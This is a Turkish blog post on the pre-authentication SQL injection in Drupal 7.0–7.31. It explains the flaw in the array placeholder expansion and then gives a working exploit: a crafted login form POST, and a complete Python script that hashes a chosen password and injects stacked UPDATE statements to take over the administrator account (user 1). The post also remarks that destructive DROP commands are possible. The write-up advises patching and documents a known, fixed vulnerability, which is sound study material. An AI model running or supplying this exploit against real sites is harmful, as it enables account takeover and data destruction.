Drupal 7.x SQL Injection Zafiyeti ve Exploit Edilmesi

Drupal 7.0 ile 7.31 versiyonları için geçerli olan SQL Injection zafiyeti tespit edildi. Sektioneins ekibi tarafından tespit edilen zafiyet için Drupal ekibi tarafından güvenlik yaması yayınlanmış bulunmakta. Drupal sistemlerinizi update ederek bu zafiyete karşı önlem almanızı şiddetle tavsiye ederim. 

Zafiyet Analizi

Olay Drupal’in sql sorgusunu kullanıcıdan aldığı verinin array olması durumunda expand etmeye çalışmasından kaynaklanmakta. Bu nedenle UPDATE, DELETE, DROP gibi SQL komutlarını çalıştırabilmek mümkün olmakta.

protected function expandArguments(&$query, &$args) {
  $modified = FALSE;

  // If the placeholder value to insert is an array, assume that we need
  // to expand it out into a comma-delimited set of placeholders.
  foreach (array_filter($args, 'is_array') as $key => $data) {
	$new_keys = array();
	foreach ($data as $i => $value) {
	  // This assumes that there are no other placeholders that use the same
	  // name.  For example, if the array placeholder is defined as :example
	  // and there is already an :example_2 placeholder, this will generate
	  // a duplicate key.  We do not account for that as the calling code
	  // is already broken if that happens.
	  $new_keys[$key . '_' . $i] = $value;
	}

	// Update the query with the new placeholders.
	// preg_replace is necessary to ensure the replacement does not affect
	// placeholders that start with the same exact text. For example, if the
	// query contains the placeholders :foo and :foobar, and :foo has an
	// array of values, using str_replace would affect both placeholders,
	// but using the following preg_replace would only affect :foo because
	// it is followed by a non-word character.
	$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

	// Update the args array with the new placeholders.
	unset($args[$key]);
	$args += $new_keys;

	$modified = TRUE;
  }

  return $modified;
}

Eğer kullanıcıdan gelen değişken array ise, oluşacak PHP kodu aşağıdaki şekildedir.

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Bu durumda yukarıda tanımlanan fonksiyon iki adet :name değeri oluşturacaktır ve sorgu aşağıdaki hali alacaktır. Burada name_0 ve name_1 değerleri yukarıda tanımlanan fonksiyon tarafında oluşturulmuştur ve içerdikleri değerler sırasıyla user1 ve user2‘dir.

SELECT * from users where name IN (:name_0, :name_1)

Kullanıcı tarafından alınan array’in birden fazla key’i olduğu durumda ise SQL Injection zafiyeti meydana gelmektedir.

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

Bu durumda fonksiyon tarafından oluşturulacak sorgu aşağıdaki gibidir.

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

Exploitation

Zafiyeti exploit ederken seçtiğim hedef, users tablosunda id değeri 1 olan kullanıcının şifresini ve username’ini güncellemek. Drupal multi query desteği verdiği SELECT sorgusundan sonra UPDATE sorgusu çalıştırabilme imkanımız var.

name[0 ;update+users+set+name='admin'+,+pass+=+'$S$CTo9G7Lx2CtZ.Xm1zlTtNNPxbtOaP78qcRl/dwnov4fr6q9xCxSL'+where+uid+=+'1';;#  ]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in

Bir önceki örnekte array’in ilk elemanı — ifadesi içeriyordu. Burada ise noktali virgül içermekte ve böylece SELECT sorgusu tamamlanıp ardından saldırı için oluşturduğumuz UPDATE sorgusu başlamış olacaktır. Drupal’in multiple query özelliği ilede UPDATE sorgusu çalışmış olacaktır.

Burada karşımıza çıkan problem ise Drupal’in password politikası. Pass kolonunu keyfimize göre doldurabilmemiz mümkün değil. Bunun içinse https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py adresinde ki kucuk Python classini kullanabiliriz.

import urllib2
import hashlib


class DrupalHash:
    def __init__(self, stored_hash, password):
        self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
        self.last_hash = self.rehash(stored_hash, password)

    def get_hash(self):
        return self.last_hash

    def password_get_count_log2(self, setting):
        return self.itoa64.index(setting[3])

    def password_crypt(self, algo, password, setting):
        setting = setting[0:12]
        if setting[0] != '$' or setting[2] != '$':
            return False

        count_log2 = self.password_get_count_log2(setting)
        salt = setting[4:12]
        if len(salt) < 8:
            return False
        count = 1 << count_log2

        if algo == 'md5':
            hash_func = hashlib.md5
        elif algo == 'sha512':
            hash_func = hashlib.sha512
        else:
            return False
        hash_str = hash_func(salt + password).digest()
        for c in range(count):
            hash_str = hash_func(hash_str + password).digest()
        output = setting + self.custom64(hash_str)
        return output

    def custom64(self, string, count=0):
        if count == 0:
            count = len(string)
        output = ''
        i = 0
        itoa64 = self.itoa64
        while 1:
            value = ord(string[i])
            i += 1
            output += itoa64[value & 0x3f]
            if i < count:
                value |= ord(string[i]) << 8
            output += itoa64[(value >> 6) & 0x3f]
            if i >= count:
                break
            i += 1
            if i < count:
                value |= ord(string[i]) << 16
            output += itoa64[(value >> 12) & 0x3f]
            if i >= count:
                break
            i += 1
            output += itoa64[(value >> 18) & 0x3f]
            if i >= count:
                break
        return output

    def rehash(self, stored_hash, password):
        # Drupal 6 compatibility
        if len(stored_hash) == 32 and stored_hash.find('$') == -1:
            return hashlib.md5(password).hexdigest()
            # Drupal 7
        if stored_hash[0:2] == 'U$':
            stored_hash = stored_hash[1:]
            password = hashlib.md5(password).hexdigest()
        hash_type = stored_hash[0:3]
        if hash_type == '$S$':
            hash_str = self.password_crypt('sha512', password, stored_hash)
        elif hash_type == '$H$' or hash_type == '$P$':
            hash_str = self.password_crypt('md5', password, stored_hash)
        else:
            hash_str = False
        return hash_str


host = "http://localhost/drupal/"
user = "admin"
password = "cokgizlisifre"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            + user \
            + "'+,+pass+%3d+'" \
            + hash[:55] \
            + "'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen()" in content:
    print "OK:)"

 Sonuç:

Exploit çalıştırılmadan önceki ve sonraki users tablosunda ki değişiklikler aşağıdaki gibidir !

### Normal
'1', 'root', '$S$CTo9G7Lx2CtZ.Xm1zlTtNNPxbtOaP78qcRl/dwnov4fr6q9xCxSL', 'mehmet@mehmetince.net'

### Exploit Sonrasi
'1', 'admin', '$S$CTo9G7Lx2GfcuTxczvK3flEQ4qLDlmjmVUE2K1nfPbLhK.nio6vi', 'mehmet@mehmetince.net',

Saldırgan olarak sisteme admin ve cokgizlisifre ile giriş yapabilir durumdayız. Tabiki daha tehlikeli olan DROP gibi komutlarıda çalıştırmakta özgürsünüz.

Kaynakça : https://www.sektioneins.de/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html